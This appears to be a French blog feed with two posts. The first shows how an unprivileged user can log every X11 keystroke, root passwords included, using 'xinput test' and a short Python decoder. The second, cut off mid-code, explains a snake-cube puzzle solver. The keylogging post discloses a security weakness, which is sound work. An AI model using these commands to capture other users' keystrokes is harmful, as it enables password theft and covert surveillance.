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	<title>®om&#039;s blog &#187; python</title>
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	<description>Un blog libre</description>
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		<title>Keylogger sous GNU/Linux : enregistrer les touches tapées au clavier</title>
		<link>http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/</link>
		<comments>http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/#comments</comments>
		<pubDate>Tue, 01 Nov 2011 22:09:57 +0000</pubDate>
		<dc:creator>®om</dc:creator>
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		<category><![CDATA[serveur x]]></category>

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		<description><![CDATA[En tant que root, il est bien sûr potentiellement possible de faire ce que l&#8217;on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (keylogger). Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root. Démonstration Et en plus, c&#8217;est tout [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/11/keyboard.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/11/keyboard.png" alt="" title="keyboard" width="128" height="128" class="alignright size-full wp-image-3235" /></a><br />
En tant que <a href="http://fr.wikipedia.org/wiki/Utilisateur_root"><em>root</em></a>, il est bien sûr potentiellement possible de faire ce que l&#8217;on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (<a href="http://fr.wikipedia.org/wiki/Enregistreur_de_frappe">keylogger</a>).</p>
<p>Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être <em>root</em>.</p>
<h3>Démonstration</h3>
<p>Et en plus, c&#8217;est tout simple&nbsp;: il suffit pour un programme d&#8217;écouter les événements clavier envoyés par le <a href="http://fr.wikipedia.org/wiki/X_Window_System">serveur X</a>.<br />
Prenons un outil qui le fait déjà (ça nous évitera de le coder), <code>xinput</code>&nbsp;:</p>
<pre>apt-get install xinput</pre>
<p>Pour obtenir la liste des périphériques utilisables&nbsp;:</p>
<pre>xinput list</pre>
<p>Repérer la ligne concernant le clavier (contenant «&nbsp;<code>AT</code>&nbsp;») et noter son <em>id</em> (ici <code>11</code>).</p>
<pre>$ xinput list | grep AT
    ↳ AT Translated Set 2 keyboard            	id=11	[slave  keyboard (3)]</pre>
<p>Puis démarrer l&#8217;écoute sur ce périphérique dans un terminal&nbsp;:</p>
<pre>xinput test 11</pre>
<p>Au fur et à mesure que l&#8217;on tape du texte, la sortie standard de <code>xinput</code> indique quelles touches sont tapées&nbsp;:</p>
<pre>key press   56
key release 56
key press   32
key release 32
key press   57
key release 57
key press   44
key release 44
key press   32
key press   30
key release 32
key release 30
key press   27
key release 27</pre>
<p>Cela fonctionne même lorsqu&#8217;on écrit dans une autre application, quelque soit l&#8217;utilisateur qui l&#8217;a démarrée. En particulier, si dans un autre terminal on exécute la commande suivante, le mot de passe est bien capturé&nbsp;:</p>
<pre>$ su -
Mot de passe : </pre>
<p>Un programme avec de simples droits utilisateur peut donc écouter tout ce qui est tapé au clavier (et donc l&#8217;enregistrer, l&#8217;envoyer à un serveur…).</p>
<h3>Décodage</h3>
<h4>Convertisseur</h4>
<p>La sortie de <code>xinput</code> n&#8217;est pas très utilisable en pratique. Pour la décoder, un programme d&#8217;une vingtaine de lignes en <em>Python</em> suffit (fortement inspiré de <a href="http://ardoris.wordpress.com/2011/04/24/linux-keylogger-proof-of-concept/">ce PoC</a>). Appelons-le <a href="http://dl.rom1v.com/keylogger/xinput-decoder.py"><code>xinput-decoder.py</code></a>&nbsp;:</p>
<pre>#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import re, sys
from subprocess import *

def get_keymap():
    keymap = {}
    table = Popen(['xmodmap', '-pke'], stdout=PIPE).stdout
    for line in table:
        m = re.match('keycode +(\d+) = (.+)', line.decode())
        if m and m.groups()[1]:
            keymap[m.groups()[0]] = m.groups()[1].split()[0]
    return keymap

if __name__ == '__main__':
    keymap = get_keymap();
    for line in sys.stdin:
        m = re.match('key press +(\d+)', line.decode())
        if m:
            keycode = m.groups()[0]
            if keycode in keymap:
                print keymap[keycode],
            else:
                print '?' + keycode,</pre>
<p>Pour convertir le résultat à la volée&nbsp;:</p>
<pre>xinput test 11 | ./xinput-decoder.py</pre>
<h4>Problème de redirection</h4>
<p>Le problème, c&#8217;est que lorsqu&#8217;on redirige la sortie de <code>xinput</code> dans un fichier ou en entrée d&#8217;un autre programme, le contenu ne s&#8217;affiche que par salves (d&#8217;environ 128 caractères apparemment). Sans doute une histoire de <a href="http://fr.wikipedia.org/wiki/M%C3%A9moire_tampon">buffer</a>, à mon avis activé uniquement lorsque la fonction <a href="http://www.kernel.org/doc/man-pages/online/pages/man3/isatty.3.html"><code>isatty()</code></a> retourne <em>true</em>.</p>
<p>Pour contourner le problème et récupérer les dernières touches tapées, il est possible de démarrer la commande dans un <code>screen</code>&nbsp;:</p>
<pre>screen xinput test 11</pre>
<p>puis, à la fin de la capture, d&#8217;enregistrer le contenu dans un fichier. Pour cela, dans le <code>screen</code> ainsi ouvert, taper <code>Ctrl+A</code>, <code>:</code>, puis <code>hardcopy -h /tmp/log</code>.<br />
De cette manière, <code>/tmp/log</code> contiendra toute la capture.</p>
<p>Pour convertir le résultat&nbsp;:</p>
<pre>$ ./xinput-parser.py &lt; /tmp/log
s u space minus Return <em>mon mot de passe root</em> Return a p t minus g e t space u p d a t e Return Control_L a colon</pre>
<h4>Améliorations</h4>
<p>Une solution plus pratique serait peut-être de démarrer <code>xinput</code> par le programme <em>Python</em>, en lui faisant croire qu&#8217;il écrit dans un <em>TTY</em> (ce que je ne sais pas faire). <a href="http://www.kirsle.net/blog/kirsle/building-a-better-keylogger">Quelqu&#8217;un</a> l&#8217;a fait <a href="http://sh.kirsle.net/keylog2">en <em>Perl</em></a>.<br />
Il faudrait également prendre en compte le relâchement des touches dans le décodeur, car lorsqu&#8217;il affiche «&nbsp;<code>Shift_L a b</code>&nbsp;», nous n&#8217;avons aucun moyen de savoir si la touche <code>Shift</code> a été relâchée avant le <code>a</code>, entre le <code>a</code> et le <code>b</code>, ou après le <code>b</code>.</p>
<h3>Liens</h3>
<p>Merci à <a href="http://papillon-butineur.blogspot.com/2011/10/keylogger-sous-linux.html">Papillon-butineur</a> de m&#8217;avoir fait découvrir ce fonctionnement étonnant du <em>serveur X</em>.<br />
Je vous recommande le billet suivant (en anglais) ainsi que ses commentaires&nbsp;: <a href="http://theinvisiblethings.blogspot.com/2011/04/linux-security-circus-on-gui-isolation.html">The Linux Security Circus: On GUI isolation</a>.</p>
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		</item>
		<item>
		<title>Résoudre le cube-serpent en Python</title>
		<link>http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/</link>
		<comments>http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/#comments</comments>
		<pubDate>Tue, 27 Sep 2011 21:10:34 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
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		<category><![CDATA[développement]]></category>
		<category><![CDATA[python]]></category>
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		<description><![CDATA[Je me suis amusé à écrire un petit programme en Python qui résout le cube-serpent (ainsi nous pouvons dire qu&#8217;un serpent en résout un autre). Mon but était surtout d&#8217;apprendre le langage Python, avec un problème intéressant, pas trop compliqué (c&#8217;est de la force brute). Il m&#8217;a permis de découvrir différents aspects de Python. Je [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/09/cube-serpent.jpg"><img src="http://blog.rom1v.com/wp-content/uploads/2011/09/cube-serpent.jpg" alt="" title="cube-serpent" width="218" height="191" class="alignright size-full wp-image-2964" /></a></p>
<p>Je me suis amusé à écrire un petit programme en <a href="http://fr.wikipedia.org/wiki/Python_%28langage%29">Python</a> qui résout le <a href="http://fr.wikipedia.org/wiki/Cube_serpent">cube-serpent</a> (ainsi nous pouvons dire qu&#8217;un serpent en résout un autre).<br />
Mon but était surtout d&#8217;apprendre le langage <em>Python</em>, avec un problème intéressant, pas trop compliqué (c&#8217;est de la <a href="http://fr.wikipedia.org/wiki/Recherche_par_force_brute">force brute</a>). Il m&#8217;a permis de découvrir différents aspects de <em>Python</em>.<br />
<ins datetime="2011-10-19T00:00:00+01:00">Je l&#8217;ai également <a href="http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c/">implémenté en C</a>.</ins></p>
<p>L&#8217;algorithme proposé résout un cube-serpent généralisé. En effet, il sait trouver des solutions pour obtenir un cube de 3×3×3, mais également d&#8217;autres tailles, comme 2×2×2 ou 4×4×4. Il sait également résoudre des volumes non cubiques, comme 2×3×4. Et pour être totalement générique, il fonctionne pour un nombre quelconque de dimensions (2×2, 3×5×4×2, 2×3×2×2×4). Comme ça, vous saurez replier un serpent en <a href="http://fr.wikipedia.org/wiki/Hypercube">hypercube</a>…</p>
<p>Je vais d&#8217;abord présenter le problème et décrire l&#8217;algorithme de résolution et survoler l&#8217;implémentation, puis je vais m&#8217;attarder sur certaines fonctionnalités de <em>Python</em> qui m&#8217;ont semblé très intéressantes.</p>
<h3>Résolution</h3>
<h4>Problème</h4>
<p>Le but est de replier la structure du serpent pour qu&#8217;elle forme un volume, par exemple un cube.</p>
<p>La structure peut être vue comme une liste de vecteurs orthogonaux consécutifs, ayant chacun une norme (une longueur). Elle peut donc être caractérisée par la liste des normes de ces vecteurs. Ainsi, la structure du serpent présenté sur <a href="http://fr.wikipedia.org/wiki/Fichier:Snakecube_1.jpg">Wikipedia</a> est la suivante&nbsp;:</p>
<pre>[2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2]</pre>
<p>Le volume cible peut être représenté par un graphe, un ensemble de sommets reliés par des arêtes, auquel on ajoute la notion d&#8217;orientation dans l&#8217;espace (il est important de distinguer les arêtes orthogonales entre elles). En clair, chaque sommet représente une position dans le cube&nbsp;: il y a donc 27 sommets pour un cube 3×3×3.</p>
<p>L&#8217;objectif est de trouver un <a href="http://fr.wikipedia.org/wiki/Graphe_hamiltonien#Chemin_hamiltonien">chemin hamiltonien</a> (un chemin qui passe par tous les sommets du graphe une fois et une seule) qui respecte la contrainte de la structure du serpent.</p>
<h4>Principe</h4>
<p>Pour trouver les solutions, il suffit de partir d&#8217;un sommet et tenter de placer les vecteurs de la structure consécutivement un à un, en respectant trois contraintes&nbsp;:</p>
<ul>
<li>rester dans le volume (évidemment)&nbsp;;</li>
<li>le n<sup>ième</sup> vecteur doit être orthogonal au (n-1)<sup>ième</sup> vecteur (cette règle ne s&#8217;applique pas pour le tout premier vecteur)&nbsp;;</li>
<li>le vecteur &laquo;&nbsp;placé&nbsp;&raquo; dans le cube ne doit pas passer par une position déjà occupée (physiquement, il n&#8217;est pas possible de faire passer une partie du serpent à travers une autre).</li>
</ul>
<p>Il faut donc placer récursivement tous les vecteurs possibles, c&#8217;est-à-dire tous les vecteurs orthogonaux au précédent, qui ne sortent pas du cube et qui ne passent pas par une position déjà occupée. Jusqu&#8217;à arriver soit à une impossibilité (plus aucun vecteur ne respecte ces 3 contraintes), soit à une solution (tous les vecteurs sont placés).</p>
<p>Pour ne manquer aucune solution, il faut répéter cet algorithme en démarrant avec chacun des points de départ (donc les 27 sommets pour un cube 3×3×3).</p>
<h4>Limites</h4>
<p>Cet algorithme ne détecte pas les symétries ni les rotations, il donne alors plusieurs solutions &laquo;&nbsp;identiques&nbsp;&raquo;. Une amélioration serait de les détecter &laquo;&nbsp;au plus tôt&nbsp;&raquo; et de ne pas les construire.</p>
<p><ins datetime="2011-10-01T00:00:00+01:00">La version 0.2 gère les symétries et les rotations, pour éviter de calculer plusieurs solutions identiques. Plus d&#8217;explications dans <a href="#comment-72460">ce commentaire</a> et <a href="#comment-72497">le suivant</a>.</ins></p>
<h3>Implémentation</h3>
<p>Voici une explication succincte des différentes parties du programme (pour plus d&#8217;informations, lire les commentaires dans le code).</p>
<h4>Vector</h4>
<p>Nous avons besoins de vecteurs, mais pas n&#8217;importe lesquels&nbsp;: seulement ceux qui ont une et une seule composante non-nulle, c&#8217;est-à-dire des multiples des vecteurs de la base. En effet, par exemple en 3 dimensions, la direction de chacun des vecteurs sera soit droite-gauche, soit dans haut-bas, soit avant-arrière, mais jamais en diagonale avant-droite vers arrière-gauche.</p>
<p>Ainsi, au lieu de stocker toutes les composantes, le <code>Vector</code> ne contient que la valeur de la composante non-nulle ainsi que sa position (plus facile à manipuler).</p>
<pre>Vector(position, value)</pre>
<h4>VolumeHelper</h4>
<p>Cette classe définit l&#8217;outil que va utiliser le solveur pour noter tout ce qu&#8217;il fait&nbsp;: le chemin emprunté et les sommets déjà visités. À chaque fois qu&#8217;il place un vecteur dans le volume, il &laquo;&nbsp;allume les petites lumières&nbsp;&raquo; associées aux sommets visités, et quand il revient en arrière (pour chercher d&#8217;autres solutions), il éteint ces petites lumières (par <em>lumières</em>, comprenez <em>booléens</em>).</p>
<h4><ins datetime="2011-10-01T00:00:00+01:00">SymmetryHelper</ins></h4>
<p><ins datetime="2011-10-01T00:00:00+01:00">Cette classe a été ajoutée dans la version 0.2.<br />
Elle définit l&#8217;outil que va utiliser le solveur pour n&#8217;explorer que les solutions nécessaires, en ignorant les symétries et les rotations.</ins></p>
<h4>Solver</h4>
<p>Le solveur place récursivement les vecteurs de la structure dans toutes les positions possibles (en s&#8217;aidant du <code>VolumeHelper</code>) afin de trouver toutes les solutions.</p>
<h4>Solutions</h4>
<p>Lors de l&#8217;exécution du script, les solutions s&#8217;affichent au fur et à mesure&nbsp;:</p>
<pre>$ ./snakesolver.py
([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])
([0, 0, 0], [2x, z, -x, 2y, z, -2y, x, y, -2z, -2x, z, -y, z, 2y, -2z, 2x, 2z])
([0, 0, 0], [2y, x, -y, 2z, x, -2z, y, z, -2x, -2y, x, -z, x, 2z, -2x, 2y, 2x])
...</pre>
<p>Considérons la première solution&nbsp;:</p>
<pre>([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])</pre>
<p>Le point de départ est <code>[0, 0, 0]</code>. On se déplace d&#8217;abord de <code>2</code> sur l&#8217;axe <code>x</code>, puis de <code>1</code> sur l&#8217;axe <code>y</code>, de <code>-1</code> sur l&#8217;axe <code>x</code>, etc.<br />
Voici la représentation graphique de cette solution&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/09/solution-cube-serpent.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/09/solution-cube-serpent-268x300.png" alt="" title="solution-cube-serpent" width="268" height="300" class="aligncenter size-medium wp-image-2972" /></a></p>
<h3>Fonctionnalités de Python</h3>
<p>Maintenant, voici quelques éléments essentiels du langage <em>Python</em> dont je me suis servi pour ce programme.</p>
<h4>Compréhension de liste</h4>
<p>La <a href="http://docs.python.org/tutorial/datastructures.html#list-comprehensions">compréhension de liste</a> (ou <a href="http://fr.wikipedia.org/wiki/G%C3%A9n%C3%A9rateur_%28informatique%29">liste en compréhension</a>) est très pratique. Je l&#8217;ai utilisée plusieurs fois dans l&#8217;algorithme. Je vais détailler deux exemples.</p>
<p>D&#8217;abord, dans la classe <code>VolumeHelper</code>&nbsp;:</p>
<pre>def all_points(self, index=0):
    if index == len(self.dimensions):
        return [[]]
    return <strong>([h] + t for h in xrange(self.dimensions[index])</strong>
            <strong>for t in self.all_points(index + 1))</strong></pre>
<p>La partie mise en gras signifie&nbsp;:</p>
<blockquote><p>tous les éléments de la forme <code>[h] + t</code> (l&#8217;élément <code>h</code> en tête de liste suivie de la queue de la liste) pour <code>h</code> compris entre <code>0</code> et <code>self.dimensions[index]</code> (un entier) et pour tout <code>t</code> compris dans les résultats de l&#8217;appel récursif</p></blockquote>
<p>Ça ne vous éclaire pas&nbsp;? Dit plus simplement&nbsp;:</p>
<blockquote><p>le résultat de la concaténation de chacun des nombres de <code>0</code> à <code>n</code> (avec <code>n = self.dimensions[index]</code>) à chacune des listes fournies par l&#8217;appel récursif</p></blockquote>
<p>En fait, cette fonction fournit tous les points possibles pour les dimensions données.<br />
Par exemple, si <code>dimensions = [2, 2]</code>, alors le résultat sera&nbsp;:</p>
<pre>[[0, 0], [0, 1], [1, 0], [1, 1]]</pre>
<p>Pour <code>dimensions = [2, 2, 3]</code>, le résultat sera&nbsp;:</p>
<pre>[[0, 0, 0], [0, 0, 1], [0, 0, 2], [0, 1, 0], [0, 1, 1], [0, 1, 2], [1,
0, 0], [1, 0, 1], [1, 0, 2], [1, 1, 0], [1, 1, 1], [1, 1, 2]]</pre>
<p>Sans compréhension de liste, il serait difficile d&#8217;écrire le corps de cette fonction en 3 lignes&nbsp;!</p>
<p><em>Remarque&nbsp;: la compréhension de liste retourne une liste si elle est définie entre <code>[]</code>, alors qu&#8217;elle retourne un <a href="http://fr.wikipedia.org/wiki/G%C3%A9n%C3%A9rateur_%28informatique%29">générateur</a> (un </em>itérateur<em>) si elle est définie entre <code>()</code>.</em></p>
<p>Second exemple, dans <code>Solver.__solve_rec(…)</code>&nbsp;:</p>
<pre>for possible_vector in <strong>( Vector(i, v)</strong>
                         <strong>for v in [ norm, -norm ]</strong>
                         <strong>for i in xrange(len(self.dimensions))</strong>
                         <strong>if i != previous_position )</strong>:</pre>
<p>Cette partie fournit un ensemble de <code>Vector(i, v)</code>, pour toutes les combinaisons de <code>i</code> et de <code>v</code> dans leurs ensembles respectifs, qui vérifient la condition (qui ici ne porte que sur <code>i</code>).<br />
En clair, ici nous récupérons tous les vecteurs possibles, c&#8217;est-à-dire orthogonaux au précédent et avec la norme (la longueur) imposée par la structure.</p>
<h4>Itérateur</h4>
<p>La notion d&#8217;<a href="http://fr.wikipedia.org/wiki/It%C3%A9rateur">itérateur</a> est présente dans beaucoup d&#8217;autres langages. Un <a href="http://docs.python.org/library/stdtypes.html#iterator-types">itérateur</a> retourne un nouvel élément à chaque appel à la méthode <code>next()</code>. En pratique, il est souvent utilisé de manière transparente dans une boucle <code>for <em>variable</em> in <em>iterator</em></code>&nbsp;:</p>
<pre>for i in xrange(10):
    print i</pre>
<p><a href="http://docs.python.org/library/functions.html#xrange"><code>xrange(…)</code></a> retourne un <em>itérateur</em> et fournit les valeurs au fur et à mesure, alors que <a href="http://docs.python.org/library/functions.html#range"><code>range(…)</code></a> crée la liste de toutes les valeurs, qui est ensuite parcourue.</p>
<h4>Yield</h4>
<p>Les <a href="http://docs.python.org/reference/expressions.html#yieldexpr">expressions yield</a> permettent de créer un <em>itérateur</em> très simplement.</p>
<p>Pour résoudre le cube-serpent, il est préférable d&#8217;une part de <strong>fournir les solutions au fur et à mesure qu&#8217;elles sont trouvées</strong>, et d&#8217;autre part <strong>de pouvoir ne calculer que les <em>k</em> premières solutions</strong>.</p>
<p>La première contrainte est souvent résolue grâce à des <a href="http://en.wikipedia.org/wiki/Callback_%28computer_science%29">callbacks</a>&nbsp;: la fonction de calcul prend en paramètre une fonction, qui sera appelée à chaque résultat trouvé, le passant alors en paramètre.</p>
<p>La seconde est plus délicate&nbsp;: elle implique que l&#8217;algorithme s&#8217;arrête dès qu&#8217;il trouve une solution, et que lors d&#8217;un prochain appel il reprenne le calcul là où il s&#8217;était arrêté, afin calculer les solutions suivantes. Cela nécessite de conserver un état. Pour un <em>itérateur</em> simple comme celui d&#8217;une liste, il suffit de stocker l&#8217;index courant de parcours, et de l&#8217;incrémenter à chaque appel à <code>next()</code>. Gérer manuellement l&#8217;itération sur les solutions du cube-serpent semble beaucoup plus complexe, d&#8217;autant plus que les solutions sont trouvées dans des appels récursifs.</p>
<p>C&#8217;est là qu&#8217;interviennent les expressions <em>yield</em>, qui répondent aux deux besoins en même temps. Utiliser une expression <em>yield</em> dans le corps d&#8217;une fonction suffit à transformer cette fonction en un <em>générateur</em>. Il n&#8217;est donc plus possible de retourner de valeur grâce à <code>return</code>.</p>
<p>Dès que l&#8217;expression <em>yield</em> est rencontrée, la valeur est transmise et l&#8217;exécution de la fonction s&#8217;arrête. Elle reprendra lors du prochain appel.</p>
<p>Afin d&#8217;utiliser ce principe pour la génération des solutions, les fonctions <code>SnakeCubeSolver.solve()</code> et <code>SnakeCubeSolver.__solve_rec(…)</code> ne sont donc pas des fonctions ordinaires, mais des <em>générateurs</em>&nbsp;:</p>
<pre>if step == len(self.structure):
    yield init_cursor, self.volume_helper.path[:]</pre>
<p>Grâce à cette implémentation, il est possible de parcourir toutes les solutions&nbsp;:</p>
<pre>for solution in solver.solve():
    print solution</pre>
<p>ou alors de ne générer que les <code>k</code> premières&nbsp;:</p>
<pre>max_solutions = 5
solutions = solver.solve()
for i in xrange(max_solutions):
    try:
        print solutions.next()
    except StopIteration:
        break</pre>
<h4>Lambdas</h4>
<p><em>Python</em> supporte aussi les expressions <a href="http://docs.python.org/reference/expressions.html#lambda">lambda</a>, issues du <a href="http://fr.wikipedia.org/wiki/Lambda-calcul">lambda-calcul</a>, qui permettent d&#8217;écrire des fonctions anonymes simplement.</p>
<p>J&#8217;utilise cette fonctionnalité une fois dans le programme&nbsp;:</p>
<pre>needed_length = reduce(<strong>lambda x, y: x * y</strong>, self.dimensions) - 1</pre>
<p>Il s&#8217;agit de la déclaration d&#8217;une fonction avec deux arguments, qui retourne leur produit.</p>
<p>La fonction <a href="http://docs.python.org/library/functions.html#reduce"><code>reduce(function, iterable, …)</code></a> permet d&#8217;appliquer cumulativement la fonction aux éléments de l&#8217;<em>iterable</em>, de gauche à droite, de manière à réduire l&#8217;<em>iterable</em> en une seule valeur.<br />
<em>Même si «&nbsp;<a href="http://fr.wikipedia.org/wiki/Nicolas_Boileau">ce qui se conçoit bien s&#8217;énonce clairement</a>&nbsp;», la fonction </em>reduce<em> est bien plus facile à comprendre qu&#8217;à expliquer en quelques mots…</em></p>
<p>Ici, donc, <code>needed_length</code> contient le produit de tous les éléments de la liste <code>self.dimensions</code>.</p>
<h3>Conclusion</h3>
<p>La résolution du cube-serpent est intéressante, tout comme sa généralisation à n&#8217;importe quel volume de dimensions quelconque. Je me suis arrêté là, mais la détection des symétries et des rotations &laquo;&nbsp;au plus tôt&nbsp;&raquo; serait une amélioration non négligeable (et pas si évidente).</p>
<p>Débutant tout juste en <em>Python</em>, ce micro-projet m&#8217;a permis de beaucoup apprendre, et de découvrir quelques bonnes surprises comme les expressions <em>yield</em> que je ne connaissais pas.</p>
<p>J&#8217;espère que ça vous a amusé aussi.</p>
<h3>Script</h3>
<p><ins datetime="2011-10-01T00:00:00+01:00">J&#8217;ai remplacé le script par sa version 0.2, qui prend en compte les symétries et les rotations.<br />
L&#8217;historique des scripts est disponible <a href="http://dl.rom1v.com/snakesolver/">ici</a>.</ins><br />
Voici le code source. Il est également disponible ici&nbsp;: <a href="http://dl.rom1v.com/snakesolver/snakesolver-0.2.1.py">snakesolver-0.2.1.py</a>.</p>
<pre>#!/usr/bin/env python
# -*- coding: UTF-8 -*-
#
# snakesolver v0.2.1, 5th october 2011
#
# changelog:
#   0.2.1
#     - get_useful_points() did not work for non-(hyper-)cubic volumes
#   0.2
#     - give all the solutions ignoring those which are equivalent by symmetry
#       or rotation
#   0.1
#     - initial version
#
# Solver for generalized snake-cube:
# http://en.wikipedia.org/wiki/Snake_cube
# http://fr.wikipedia.org/wiki/Cube_serpent
#
# By Romain Vimont (®om)
#   rom@rom1v.com

# snake structure (list of consecutives vector norms)
# Wikipedia example
SNAKE_STRUCTURE = [2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2]

# size of each dimension of the target volume
VOLUME_DIMENSIONS = [3, 3, 3]

# first variable names, the next will be k1, k2, k3...
VARIABLES = ['x', 'y', 'z', 't']

class Vector:

    """Base vector, with only one non-zero value."""

    def __init__(self, position, value):
        """Create a new base vector.

        Examples:
          - 2 dimensions:
              Vector(0, 2) means (2, 0)
              Vector(1, 3) means (0, 3)
          - 3 dimensions:
              Vector(0, 2) means (2, 0, 0)
              Vector(1, 3) means (0, 3, 0)
          - n dimensions:
              Vector(k, i) means (0, 0, ..., 0, i at position k, 0, ..., 0, 0)
        """
        self.position = position
        self.value = value

    @staticmethod
    def __get_variable(position):
        """Returns the variable name associated to position.

        Variable names are : ['x', 'y', 'z', 't', 'k1', 'k2', 'k3', ...].
        """
        if position &lt; len(VARIABLES):
            return VARIABLES[position]
        return 'k' + str(position - len(VARIABLES) + 1)

    @staticmethod
    def __get_canonical(number):
        """Removes the 1 if number is 1 or -1.

        Used for formatting …, -3x, -2x, -x, x, 2x, 3x, …
        """
        if number == 1:
            return ''
        if number == -1:
            return '-'
        return str(number)

    def __repr__(self):
        return Vector.__get_canonical(self.value) +\
               Vector.__get_variable(self.position)

class VolumeHelper:

    """Volume helper for the solver.

    A volume must be considered as an "hyper-volume", it can have any number of
    dimensions. For example, a volume 3x3 is a square, while a volume 3x3x3x3
    is an hypercube.

    Keep a flags volume (1 boolean per "point"), indicating if the case is
    already filled.
    """

    def __init__(self, dimensions):
        """Create a volume helper.

        Keyword arguments:
        dimensions -- the dimensions of the target volume (e.g. [3, 3, 3])
        init_cursor -- the starting position in the volume (e.g. [0, 0, 0])
        """
        self.dimensions = dimensions
        self.path = []
        self.flags = VolumeHelper.__create_volume_flags(dimensions)
        self.init_cursor = None

    def set_cursor(self, cursor):
        """Change the initial cursor position."""
        assert len(self.path) == 0, 'Changing cursor cannot happen in the ' +\
                                    'middle of a path calculation'
        if self.init_cursor is not None:
            # set to False the flag for the old cursor
            self.__set_flag(self.init_cursor, False)
        self.init_cursor = cursor[:]
        self.cursor = self.init_cursor
        self.__set_flag(self.cursor, True)

    def __get_flag(self, cursor):
        """Return the flag for the specified cursor."""
        tmp = self.flags
        # dereference n times
        for i in xrange(len(cursor)):
            tmp = tmp[cursor[i]]
        # after the last iteration, tmp contains the value
        return tmp

    def __set_flag(self, cursor, value):
        """Change the flag for the specified cursor."""
        tmp = self.flags
        for i in xrange(len(cursor) - 1):
            tmp = tmp[cursor[i]]
        tmp[cursor[-1]] = value

    def can_move(self, vector):
        """Indicates if it is possible to move the cursor by the move defined
        by the vector."""

        # the new vector will change the cursor at position vector.position,
        # adding vector.value
        # for example, if the cursor = [1, 2, 0], and vector = Vector(2, 2),
        # then cursor will take the value [1, 2, 2]
        cursor_position_value = self.cursor[vector.position]
        new_value = cursor_position_value + vector.value
        if new_value &lt; 0 or new_value &gt;= self.dimensions[vector.position]:
            # outside volume
            return False

        # copy the cursor for not modifying the real one
        future_cursor = self.cursor[:]
        if vector.value &lt; 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            future_cursor[vector.position] += sign
            # if the flag at future_cursor is already True, then we cannot move
            # to this case, it is already filled
            if self.__get_flag(future_cursor):
                return False
        return True

    def move(self, vector):
        """Move the cursor by the vector, and updates flags and path."""
        self.path.append(vector)
        if vector.value &lt; 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            self.cursor[vector.position] += sign
            self.__set_flag(self.cursor, True)

    def back(self):
        """Cancel the last move.

        Used for the recursivity, for avoiding to create a new flags volume for
        each recursivity step.
        """
        vector = self.path.pop()
        if vector.value &lt; 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            self.__set_flag(self.cursor, False)
            self.cursor[vector.position] += -sign

    @staticmethod
    def __create_volume_flags(dimensions, index=0):
        """Create a multi-dimensional array filled with False values."""
        if index == len(dimensions) - 1:
            return [False] * dimensions[-1]
        return [VolumeHelper.__create_volume_flags(dimensions, index + 1)
                 for i in xrange(dimensions[index])]

    def __repr__(self):
        return repr(cube_flags)

class SymmetryHelper:

    """Symmetry helper for the solver.

    It manages equivalence classes for equivalent points and equivalent pathes
    by symmetry and/or rotation.

    As symmetries and rotations only concern permutation and inversion of
    vector components (positions), then equivalences classes concern
    dimensions.
    If x and z axis are equivalent (at a specific step), we could represent the
    equivalence classes like this: [[0, 2], [1]]. In that case, the solver
    would only try vectors on x axis, but will ignore z axis (because it is
    equivalent).
    Then, after a move, they are not equivalent anymore, then the equivalence
    classes could be represented by [[0], [1], [2]].

    But there is a far better representation for handling quickly the
    equivalence classes: a simple array, with the same length as dimensions.
    For each dimension i, the eq_classes array contains the lower index of an
    equivalent axis:
      - i if there is no axis with lower index which is equivalent;
      - j if there is an axis j with a lower index (the lowest) which is
        equivalent.
    For example, if x and z are equivalent, then eq_classes is [0, 1, 0].
    If y and z are equivalent, then eq_classes is [0, 1, 1].
    If x and y are equivalent, then eq_classes is [0, 0, 2].
    If x, y and z are equivalent, then eq_classes is [0, 0, 0].
    If none are equivalent, then eq_classes is [0, 1, 2].

    With this representation, we can easily pick only 1 vector per equivalence
    class (and ignore the others): the ones with eq_classes[i] == i.

    eq_classes_path stores the list of eq_classes used, to restore previous
    ones when calling back(). Equivalence classes at index i are always
    computed from the equivalence classes at index i-1 (except if i == 0),
    and are always "as or more splitted".
    """

    def __init__(self, dimensions):
        self.dimensions = dimensions
        # eq_classes is always eq_classes_path[-1]
        self.eq_classes = self.__create_eq_classes_from_dimensions()
        self.eq_classes_path = [self.eq_classes]

    def __create_eq_classes_from_dimensions(self):
        """Compute the first equivalences classes from the dimensions.

        The dimensions which have the same length are equivalent.
        """
        eq_classes = range(len(self.dimensions))
        for i in xrange(1, len(self.dimensions)):
            value = self.dimensions[i]
            for j in xrange(0, i):
                if self.dimensions[j] == value:
                    eq_classes[i] = j
                    break
        return eq_classes

    def set_cursor(self, cursor):
        """Change the initial cursor position."""
        # the first item in eq_classes_path is computed from the dimensions
        # the second item is computed from the init_point
        # the next items are computed from the next moves (vectors)
        assert len(self.eq_classes_path) == 1 or\
               len(self.eq_classes_path) == 2, 'Changing cursor cannot ' +\
               'happen in the middle of a path calculation'
